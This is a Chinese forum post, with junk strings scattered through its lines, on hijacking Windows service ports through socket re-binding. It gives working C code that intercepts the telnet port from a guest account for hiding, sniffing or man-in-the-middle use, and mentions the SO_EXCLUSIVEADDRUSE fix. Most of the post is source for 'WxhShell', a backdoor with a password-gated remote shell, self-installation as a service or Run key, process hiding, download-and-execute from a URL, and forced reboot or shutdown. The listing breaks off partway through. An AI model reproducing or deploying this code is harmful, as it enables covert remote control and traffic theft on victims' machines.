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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0J)VEMC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K!jau|FS  
+/*A}!#v  
  saddr.sin_family = AF_INET; w RTzpG4  
NLWj5K)1P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'vIVsv<p  
T7G{)wm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6l?KX  
]=^NTm,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z81`Lhg6  
Lp||C@h~  
  这意味着什么?意味着可以进行如下的攻击: [0NH#88ym<  
<CP't[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >>7m'-k%D  
q|;+Wp?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5[qx5|O  
fwyz|>H_Y(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `4]-B@ 7_  
Yi"jj;!^S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D/zp_9B  
QEL3b4Vm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1K$8F ~%Z  
YKj P E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A^7Y%  
! F&{I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 < uzDuBN  
Yv;18j*<  
  #include k3"Y!Uha:  
  #include _{gRCR)  
  #include v/Ei0}e6~  
  #include    !U+XIr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i3y>@$fRL\  
  int main() 'v3> "b  
  { _EZrZB  
  WORD wVersionRequested; b~;+E#[*  
  DWORD ret; `Axn  
  WSADATA wsaData; ab5z&7Re6  
  BOOL val; b!|c:mE9|  
  SOCKADDR_IN saddr; T*C]:=)  
  SOCKADDR_IN scaddr; zw X 1&rN  
  int err; w0t||qj^>"  
  SOCKET s; xqzdXL}  
  SOCKET sc; PAXdIh[]  
  int caddsize; au1(.(  
  HANDLE mt; C@ z^{Z+  
  DWORD tid;   ^RS`q+g  
  wVersionRequested = MAKEWORD( 2, 2 ); yX8$LOjE  
  err = WSAStartup( wVersionRequested, &wsaData ); 5SY(:!  
  if ( err != 0 ) { Qjh @oWT  
  printf("error!WSAStartup failed!\n"); A[oxG;9xi  
  return -1; =:=uV0jX\  
  } aV8]?E5G  
  saddr.sin_family = AF_INET; SfwAMNCe  
   V5LzUg]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AA,n.;zy<  
ygp NMq#?X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NvfQa6?;  
  saddr.sin_port = htons(23); ]^^mJt.Iv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >H?{=H+/#  
  { /v:+ vh*mS  
  printf("error!socket failed!\n"); X8b= z9  
  return -1; y| %rW  
  } h|1 /Q (  
  val = TRUE; Ey;uaqt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [& &9F};  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P\CT|K'P  
  { f?A*g$v  
  printf("error!setsockopt failed!\n"); i/U HDqZ  
  return -1; Ik4U+'z6  
  } &<sDbN S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $McVK>=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J;g+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "M.vu}~>  
&De&ZypU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7].FdjT.  
  { W`-AN}C#  
  ret=GetLastError(); }A%Sx!7~  
  printf("error!bind failed!\n"); *G#W],~0  
  return -1; ZK@ENfG  
  } H?>R#Ds-  
  listen(s,2); !7-dqw%l  
  while(1) ?8Hr 9  
  { !8U\GR `  
  caddsize = sizeof(scaddr); Ytnk^/Z1L  
  //接受连接请求 1yN/+Rq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hIPU%  
  if(sc!=INVALID_SOCKET) zj^Ys`nl  
  { (TV ye4Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0)'^vJe  
  if(mt==NULL) <k&Q"X:"  
  { Q=%1@ ,x"  
  printf("Thread Creat Failed!\n"); ~sSlfQWMzy  
  break; #yv_Eb02  
  } tPHDnh^n]  
  } K Zw"?%H[  
  CloseHandle(mt); f6ad@2  
  } y-93 >Y  
  closesocket(s); >I3#ALF  
  WSACleanup(); l(@UpV-  
  return 0; G~I@'[ur  
  }   Q!:J.J  
  DWORD WINAPI ClientThread(LPVOID lpParam) iC`K$LY4W  
  { d[5?P?h')  
  SOCKET ss = (SOCKET)lpParam; /JfRy%31  
  SOCKET sc; G.,dP +i  
  unsigned char buf[4096]; :.IVf Zw  
  SOCKADDR_IN saddr; @<tkwu  
  long num; mRw &^7r  
  DWORD val; a 8Jn.!  
  DWORD ret; +tNu8M@xFo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Uzb~L_\Rmt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jLf.qf8qm  
  saddr.sin_family = AF_INET; &C+pen) Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nxP>IfSA  
  saddr.sin_port = htons(23); eFUJASc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wTGH5}QZ+  
  { mpBSd+ ;Z  
  printf("error!socket failed!\n"); $4y;F]  
  return -1; V&E)4KBOs  
  } CCOd4  
  val = 100; 7Xi)[M?)#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5uu Zt0V\  
  { D}wM$B@S  
  ret = GetLastError(); Lc!% 3,#.  
  return -1; |>(;gr/5(  
  } p*8LS7UT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $UAmUQg)}_  
  { CxC&+';  
  ret = GetLastError(); |"vUC/R2&  
  return -1; #N?EPV$  
  } xZ} 1dq8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +^ n\?!  
  { j^}p'w Tu{  
  printf("error!socket connect failed!\n"); pDO&I]S`q0  
  closesocket(sc); (5] |Kcp|  
  closesocket(ss); 'Jww}^h1  
  return -1; Re**)3#gn  
  } s88lN=;  
  while(1) UW*[)yw]  
  { ML!Z m[I9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AXhV#nZt0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :4PK4D s7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hmv"|1Sa!~  
  num = recv(ss,buf,4096,0); Iq`:h&'!L  
  if(num>0) f\FubL  
  send(sc,buf,num,0); y,i:BQJ<  
  else if(num==0) }u0t i"V  
  break; Bkvh]k;F8  
  num = recv(sc,buf,4096,0); }U K<tUO  
  if(num>0)  &y/  
  send(ss,buf,num,0); lV/-jkR  
  else if(num==0) GU\}}j]  
  break; #y }{ 'rF?  
  } FOxMt;|M  
  closesocket(ss); sHx>UvN6  
  closesocket(sc); st"uD\L1p:  
  return 0 ; {#aW")x^#  
  } )54;YK  
y| *X  
lL.3$Rp;  
========================================================== {k=H5<FV  
h=uwOi6}  
下边附上一个代码,,WXhSHELL dHV3d'.P  
&R:$h*Wt|  
========================================================== 48JD >=@7  
#I jG[a-  
#include "stdafx.h" GE]cH6E  
|[/[*hDZ9  
#include <stdio.h> Z&gM7Zo8  
#include <string.h> L|Zja*  
#include <windows.h> '`$z!rA  
#include <winsock2.h> c=iv\hn  
#include <winsvc.h> kGsd3t!'  
#include <urlmon.h> hce *G@b  
v`ckvl)(C  
#pragma comment (lib, "Ws2_32.lib") b13XHR)0  
#pragma comment (lib, "urlmon.lib") &L[7jA'[J  
1'wwwxe7  
#define MAX_USER   100 // 最大客户端连接数 rcUXYJCh-  
#define BUF_SOCK   200 // sock buffer O`_!G`E  
#define KEY_BUFF   255 // 输入 buffer zWYm* c"n\  
WZ @/'[  
#define REBOOT     0   // 重启 @~v |t{G  
#define SHUTDOWN   1   // 关机 jEwfa_Q%  
zi7,?bD  
#define DEF_PORT   5000 // 监听端口 al<[iZ  
*5'U3py  
#define REG_LEN     16   // 注册表键长度 cs[_5r&:  
#define SVC_LEN     80   // NT服务名长度 BFP (2j  
f$vWi&(  
// 从dll定义API 9~8 A>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MYgh^%w:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5 Z+2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <WN?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bjvpYZC\5  
^s z4-+>  
// wxhshell配置信息 rxZ%vzVQ>  
struct WSCFG { `NqX{26GV+  
  int ws_port;         // 监听端口 dHp(U :)  
  char ws_passstr[REG_LEN]; // 口令 o";5@NH  
  int ws_autoins;       // 安装标记, 1=yes 0=no xxWrSl`fB  
  char ws_regname[REG_LEN]; // 注册表键名 /XtpGk_1)  
  char ws_svcname[REG_LEN]; // 服务名 $e66jV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n#,<-Rb-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =SJwCT0;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o  RT<h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2%Bq[SMuN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $^|I?5xD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 * 7: )k  
88\0opL-  
}; jb~2f2vUa  
$2u^z=`b!%  
// default Wxhshell configuration HPT{83  
struct WSCFG wscfg={DEF_PORT, \*{tAF  
    "xuhuanlingzhe", U40adP? a  
    1, Jj=0{(X  
    "Wxhshell", bvZTB<rA  
    "Wxhshell", KLqn`m`O;  
            "WxhShell Service", 6q^Tq {I  
    "Wrsky Windows CmdShell Service", %Z|]"=;6  
    "Please Input Your Password: ", . C_\xb  
  1, .kO!8Q-;%  
  "http://www.wrsky.com/wxhshell.exe", WVaIC$Y  
  "Wxhshell.exe" MRzrZZ%LQ  
    }; .I%p0ds1r  
^6*LuXPv  
// 消息定义模块 HZ$q`e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gG;d+s1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6- H81y 3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V\k?$}  
char *msg_ws_ext="\n\rExit."; L`E^BuP/  
char *msg_ws_end="\n\rQuit."; V_Owi5h  
char *msg_ws_boot="\n\rReboot..."; S}zh0`+d'Z  
char *msg_ws_poff="\n\rShutdown..."; pAwmQS\W  
char *msg_ws_down="\n\rSave to "; C1 qyjlR  
o(iv=(o  
char *msg_ws_err="\n\rErr!"; XEd|<+P1  
char *msg_ws_ok="\n\rOK!"; @Y2"=QVt  
2w>l nJ-  
char ExeFile[MAX_PATH]; *Jd,8B/hC  
int nUser = 0; <YU+W"jQT  
HANDLE handles[MAX_USER]; dxm_AUM  
int OsIsNt; 1QHCX*_  
{4u8~whLp  
SERVICE_STATUS       serviceStatus; d0(GE4+/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BPAz.K Q  
56!>}!8!  
// 函数声明 -]=-IiC#  
int Install(void); nv WTx4oy  
int Uninstall(void); yP:/F|E$  
int DownloadFile(char *sURL, SOCKET wsh); 7/*a  
int Boot(int flag); slSQ\;CDA  
void HideProc(void); Qg]8~^ Q<  
int GetOsVer(void); nsChNwPX  
int Wxhshell(SOCKET wsl); xgl~4  
void TalkWithClient(void *cs); eM)E3~K:2  
int CmdShell(SOCKET sock); NXhQdf  
int StartFromService(void); Zkn$D:  
int StartWxhshell(LPSTR lpCmdLine); iy&*5U  
<a>\.d9#)7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $,+'|_0yM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A/kRw'6  
cp|&&q  
// 数据结构和表定义 ![O@{/  
SERVICE_TABLE_ENTRY DispatchTable[] = \VW&z:/*pZ  
{ .:eNL]2%:  
{wscfg.ws_svcname, NTServiceMain}, ]V9z)uz  
{NULL, NULL} .BLF7> M1  
}; fneg[K  
Z  Mp  
// 自我安装 ![H!Y W'  
int Install(void) 0>D:  
{ @d5G\1(%  
  char svExeFile[MAX_PATH]; z?~W]PWiZ  
  HKEY key; i*16k dI.  
  strcpy(svExeFile,ExeFile); lLuAZoH  
=6#tJgg8  
// 如果是win9x系统,修改注册表设为自启动 %\=oy=f  
if(!OsIsNt) { .HTX7mA3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9T*%CI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mPHn &4  
  RegCloseKey(key); %y zFWDg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C#]%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6km{= ```  
  RegCloseKey(key); ,}&E=5MF\  
  return 0; %SV"iXxY  
    } ?L|Jc_E  
  } +cAN4  
} kqYvd]ss  
else { ,WF)GS|7V  
PPCZT3c=  
// 如果是NT以上系统,安装为系统服务 Uk5O9D0 He  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5- Q`v/w;  
if (schSCManager!=0) %]9 <a  
{ %9|=\# G  
  SC_HANDLE schService = CreateService A@/DGrZX  
  ( /Cd`h ;#@  
  schSCManager, 7#Qa/[? D  
  wscfg.ws_svcname, -C$Z%I7 0  
  wscfg.ws_svcdisp, g%w@v$  
  SERVICE_ALL_ACCESS, [kqxC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S fE^'G\  
  SERVICE_AUTO_START, :=#*[H  
  SERVICE_ERROR_NORMAL, >/Z#{;kOz  
  svExeFile, 5 Vm |/  
  NULL, A%u@xL,_  
  NULL, 06bl$%  
  NULL, +4emkDTdR  
  NULL,  U4#[>*  
  NULL \~xOdqF/  
  ); {aq\sf;i{  
  if (schService!=0) 4%WV)lt  
  { G+ =6]0HT  
  CloseServiceHandle(schService); ]rM{\En  
  CloseServiceHandle(schSCManager); U5mec167  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .rj FhSr$  
  strcat(svExeFile,wscfg.ws_svcname); 2tvMa%1^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?MhRdY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uh`@qmu)  
  RegCloseKey(key); ;_0)f  
  return 0; d#T8|#O"  
    } n<:/ X tE  
  } #)%N+Odnr  
  CloseServiceHandle(schSCManager); ypXKw7f(  
} )>,b>7  
} !l'Az3'J|  
F2y M2Ldx  
return 1; >Uvtsj#  
} x_Ki5~w5  
:=04_5 z  
// 自我卸载 ?,r bD 1  
int Uninstall(void) "fLGXbNQ  
{ *qg9~/  
  HKEY key; /qF7^9LtaY  
O?@1</r^  
if(!OsIsNt) { =y7]9SOq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Z'{#<1>^;  
  RegDeleteValue(key,wscfg.ws_regname); fmie,[  
  RegCloseKey(key); B$7m@|p!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bxP>  
  RegDeleteValue(key,wscfg.ws_regname); c< gM  
  RegCloseKey(key); ;?;D(%L  
  return 0; mM~!68lR  
  } 7|6tH@4Ub  
} w_^&X;0^  
} _u}v(!PI  
else { L{2\NJ"+u  
t Zj6=#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #ITx[X89|  
if (schSCManager!=0) tBG :ECUL  
{ R_*b<~[/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xy$FS0u  
  if (schService!=0) #I@]8U#,":  
  { (~pcPGUG  
  if(DeleteService(schService)!=0) { X.s? =6}g  
  CloseServiceHandle(schService); }M/w 0U0o  
  CloseServiceHandle(schSCManager); w0~iGr}P  
  return 0; k`js~/Xv  
  } 'xb|5_D  
  CloseServiceHandle(schService); VO(Ck\i}  
  } ?w# >Cs(  
  CloseServiceHandle(schSCManager); I(Nsm3L  
} lGPC)Hu{`  
} S^)r,cC  
<E@ 7CG.=  
return 1; GMU<$x8o  
} h. i&[RnX  
oAWk<B(@  
// 从指定url下载文件 QAi(uL5   
int DownloadFile(char *sURL, SOCKET wsh) |f8by\Q86=  
{ |]A{8BBC  
  HRESULT hr; `#fOY$#XB  
char seps[]= "/"; _DC/`_'  
char *token; g)$Pvfc  
char *file; OJ UM Y<5  
char myURL[MAX_PATH]; =&"Vf!7YR7  
char myFILE[MAX_PATH]; D0i84I`Z%  
bS/`G0!  
strcpy(myURL,sURL); g8XGZW!  
  token=strtok(myURL,seps); =(v!pEF  
  while(token!=NULL) SX^fh.  
  { 94APjqV6'  
    file=token; w^|,[G ^}H  
  token=strtok(NULL,seps); n{BC m %  
  } ErESk"2t  
=AL95"cH~  
GetCurrentDirectory(MAX_PATH,myFILE); * {4cc  
strcat(myFILE, "\\"); ![Ip)X OG  
strcat(myFILE, file); }C*o;'o5G  
  send(wsh,myFILE,strlen(myFILE),0); K- }k-S  
send(wsh,"...",3,0); `r*6P^P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q'(WIv@  
  if(hr==S_OK) !+ uMH!  
return 0; 'dWJ#9C  
else phXVuQ  
return 1; &K>]!yn   
X""'}X|O  
} oTI*mGR1Z  
7v,>sX  
// 系统电源模块 =_":Z!_  
int Boot(int flag) V2VsJ  
{ CHeG{l)<r  
  HANDLE hToken; }0 <x4|=  
  TOKEN_PRIVILEGES tkp; sTG+c E  
2zFdKs,  
  if(OsIsNt) { Qmn5umd=?\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WP]<\_r2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HAO/r`7*  
    tkp.PrivilegeCount = 1; "rX=G=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3]N}k|lb%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M8[YW|VkP  
if(flag==REBOOT) { @O45s\4-*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :m&`bq  
  return 0; ~7 `x9MUc  
} {6%uNT>|  
else { J$e.$ah;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K,IOD t  
  return 0; N7oMtlvL[w  
} J~_p2TZJ\3  
  } G4x.''r&Sl  
  else { Z;>~<#!4  
if(flag==REBOOT) { J`RNik*>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IN%>46e`  
  return 0; ='VIbE@qC  
} t*qA.xc6  
else { vhL&az  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^F"*;8$  
  return 0; G0Wd"AV+  
} oVq@M  
} \B}W(^\wg;  
c<D Yk f  
return 1; Ra{B8)Q  
} COHJJONR  
@\"*Z&]8z0  
// win9x进程隐藏模块 chd${ j  
void HideProc(void) }MIH{CMH  
{ 6\TstY3  
N\uQ-XOi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ec\x;li! *  
  if ( hKernel != NULL ) rqF PUp  
  { \s+MHa&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q5<vK{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b]JN23IS2  
    FreeLibrary(hKernel); hf?^#=k^  
  } %eV`};9  
!8L Ql}  
return; L}21[ N~ky  
} &R5M&IwL  
3?O| X+$p  
// 获取操作系统版本 D{loX6  
int GetOsVer(void) f%|S>(   
{ }oN(nPxv9  
  OSVERSIONINFO winfo; T^nX+;:|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I2W2B3D` c  
  GetVersionEx(&winfo); ;9I#>u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v PGuEfz  
  return 1; K[kmfXKu  
  else GDcV1$NA  
  return 0; z9+94<J  
} D/:)rj14b  
}cPV_^{  
// 客户端句柄模块 {``}TsN  
int Wxhshell(SOCKET wsl) :_aY:`  
{ U3V<ITZI8t  
  SOCKET wsh; 6)3eB{$;  
  struct sockaddr_in client; b?Jm)  
  DWORD myID; -$0S#/)Z  
}2 r08,m  
  while(nUser<MAX_USER) ?Tl@e   
{ xw-q)u  
  int nSize=sizeof(client); &*y ve}su  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sY6'y'a95  
  if(wsh==INVALID_SOCKET) return 1; ('lnQD.Hd  
7 %|>7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c:6w >:  
if(handles[nUser]==0) 3> (`Y  
  closesocket(wsh); 9@1W=sl  
else ~>C>LH>8  
  nUser++; *Qf }4a0  
  } 7wqwDE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7_3O]e[8  
"J.jmR;  
  return 0; Tk!b`9  
} }dHiW:J>  
u#,]>;  
// 关闭 socket 4bBxZY  
void CloseIt(SOCKET wsh) :I $2[K  
{ {S}@P~H =  
closesocket(wsh); Yo(B8}?0!  
nUser--; E+)Go-rS(  
ExitThread(0); sWC"^ So  
} {DK:"ep  
^~aSrREo  
// 客户端请求句柄 |pgkl`  
void TalkWithClient(void *cs) :L[6a>"neE  
{ vj b?N  
m#ie{u^  
  SOCKET wsh=(SOCKET)cs; Imw x~eo  
  char pwd[SVC_LEN]; 8`t%QhE2  
  char cmd[KEY_BUFF]; ks5'Z8X  
char chr[1]; O9_YVE/-]  
int i,j; X^W> "q  
5oKc=iX_3  
  while (nUser < MAX_USER) { xY S%dLE"  
YXtGuO\q  
if(wscfg.ws_passstr) { (=/F=,w   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H_j<%VW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _+N^yw,r*  
  //ZeroMemory(pwd,KEY_BUFF); +B m+Pj>  
      i=0; @ 7?_Yw  
  while(i<SVC_LEN) { )1vojp 4Za  
o W[,EW+u  
  // 设置超时 w!}1oy  
  fd_set FdRead; 6a?y $+pr  
  struct timeval TimeOut; vVW=1(QWI#  
  FD_ZERO(&FdRead); l(5-Cr  
  FD_SET(wsh,&FdRead); t0>{0 5  
  TimeOut.tv_sec=8; yd72y'zi  
  TimeOut.tv_usec=0; Wj:QC<5 v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a  98  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (<l2 ^H  
v'!Nt k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3+-(;>>\  
  pwd=chr[0]; Q]wM/7  
  if(chr[0]==0xd || chr[0]==0xa) { wuzz%9;@B  
  pwd=0; nIjQLx  
  break; RFJ;hh  
  } FZ9<Q  
  i++; ^kr)U8  
    } W/>?1+r.Z  
j;v%4G  
  // 如果是非法用户,关闭 socket [hL1 PWKs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !I[n|r"  
} 7fay:_  
32iI :u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JF*g!sV%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >, E$bm2  
m-89nOls  
while(1) { 6p " c ^  
hU 7fZl%yl  
  ZeroMemory(cmd,KEY_BUFF); S=}~I  
9oP{Al  
      // 自动支持客户端 telnet标准   *d@Hnu"q  
  j=0; /[? F1Q  
  while(j<KEY_BUFF) { E aD@clJS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =%\6}xPEl<  
  cmd[j]=chr[0]; EKPTDKut  
  if(chr[0]==0xa || chr[0]==0xd) { ;J(,F:N  
  cmd[j]=0; rcZ SC3  
  break; eeU$uR  
  } jw[BtRW  
  j++; XKX,7  
    } 4Aew )   
n^\;*1%$c@  
  // 下载文件 Qcy`O m^2  
  if(strstr(cmd,"http://")) { 38rZ`O*D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); } 4]<P  
  if(DownloadFile(cmd,wsh)) ZZU8B?)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #( sNk,^Ax  
  else =&pN8PEn\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b 0b9#9x  
  } s[q4K  
  else { L~{Vt~H9"  
6I.mc  
    switch(cmd[0]) { n[Iu!v\/*  
  3Jm'q,TC  
  // 帮助 \( <{)GpBi  
  case '?': { WcwW@cY7\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NNw d;AC  
    break;  - 1  
  } L"h@`3o|  
  // 安装 h.$__Gs  
  case 'i': { ky[Xf -9#  
    if(Install()) .crM!{<Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dB+GTq=6f  
    else 7NB 9Vu|gD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $p3Wjf:bH  
    break; 5u_4lNJ&  
    } Gd-.E7CH!  
  // 卸载 RLz`aBT  
  case 'r': {  6b]d|  
    if(Uninstall()) C9U {^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +;*(a3Gp  
    else $Oe58  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N>fYH.c3Y  
    break; r!$NZ2I  
    } mBZ Dl4 '  
  // 显示 wxhshell 所在路径 cNo4UZvr  
  case 'p': { C cr+SR2  
    char svExeFile[MAX_PATH]; oPu|Q^I=  
    strcpy(svExeFile,"\n\r"); @k+G Cf  
      strcat(svExeFile,ExeFile); wUCDJY:,1  
        send(wsh,svExeFile,strlen(svExeFile),0); :"P hkR  
    break; ]KK ZbEO  
    } G 0QXf  
  // 重启 DIqT>HHZ  
  case 'b': { NhoS7 y(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fuD1U}c  
    if(Boot(REBOOT)) .Spi$>v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QHzX 5$IM  
    else { xbrmPGpW$  
    closesocket(wsh); StZRc\k  
    ExitThread(0); X;6r $   
    } to!W={S<ol  
    break; {QS@Ugf  
    } W B*`zCM  
  // 关机 5Ue^>8-  
  case 'd': { v^],loi<V  
